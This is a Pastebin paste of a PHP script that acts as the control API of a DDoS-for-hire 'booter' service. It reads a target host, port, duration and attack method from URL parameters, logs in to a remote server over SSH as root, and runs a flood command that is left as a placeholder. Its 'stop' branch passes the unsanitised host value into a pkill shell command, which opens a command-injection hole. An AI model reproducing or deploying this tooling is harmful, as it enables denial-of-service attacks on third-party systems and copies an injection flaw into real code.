SHARE
TWEET

aaaa

a guest Jul 19th, 2019 101 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //http://IP/api.php?key=KEY&host=[host]&port=[port]&time=[time]&method=[method] <--- API
  3. ignore_user_abort(true);
  4. set_time_limit(86400);
  5. $server_ip = "IP HERE";  // IP SERVER
  6. $server_pass = "PASS HERE";  // PASS
  7. $server_user = "root";  // USER (ROOT)
  8. $key = $_GET['key'];
  9. $host = $_GET['host'];
  10. $port = intval($_GET['port']);
  11. $time = intval($_GET['time']);
  12. $method = $_GET['method'];
  13. $array = array("HTTP","stop");
  14. $ray = array("ptypeL4"); //API KEY
  15. if (!empty($time)){
  16. if (!empty($host)){
  17. if (!empty($method)){
  18. if ($method == "stop") { $command = "pkill $host -f"; } //FOR STOP ATTACK DONT DELETE
  19. }
  20. }  
  21. }
  22. if (!empty($key)){
  23. }else{
  24. die('Error: Write API key');}
  25. if (in_array($key, $ray)){
  26. }else{
  27. die('Not correct API key');}
  28. if (!empty($time)){
  29. }else{
  30. die('ERROR write time attack');}
  31. if (!empty($host)){
  32. }else{
  33. die('ERROR write host');}
  34. if (!empty($method)){
  35. }else{
  36. die('ERROR write method');}
  37. if (in_array($method, $array)){
  38. }else{
  39. die('ERROR method not found');}
  40. if ($port > 65535){
  41. die('Error: port no more than 65535 does not exist!');}
  42. if ($time > 86400){
  43. die('Error: the attack can not be more than 86400 seconds!');}  
  44. if(ctype_digit($Time)){
  45. die('Error: time is not in numbers!');}
  46. if(ctype_digit($Port)){
  47. die('Error: port is not in numbers!');}
  48. //UR COMMAND FOR START ATTACK
  49. if ($method == "HTTP") { $command = "command flood of the script"; }
  50. if (!function_exists("ssh2_connect")) die("Error: SSH2 ISNT INSTALLED!");
  51. if(!($con = ssh2_connect($server_ip, 22))){
  52.   echo "VPS dont work";
  53. } else {
  54.     if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  55.     echo "Login or password is incorrect";
  56.     } else {
  57.    
  58.         if (!($stream = ssh2_exec($con, $command ))) {
  59.             echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  60.         } else {    
  61.             stream_set_blocking($stream, false);
  62.             $data = "";
  63.             while ($buf = fread($stream,4096)) {
  64.                 $data .= $buf;
  65.             }
  66.             echo "Started!</br>Target: $host</br>Port: $port </br>Time: $time</br>Method: $method";
  67.             fclose($stream);
  68.         }
  69.     }
  70. }
  71. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top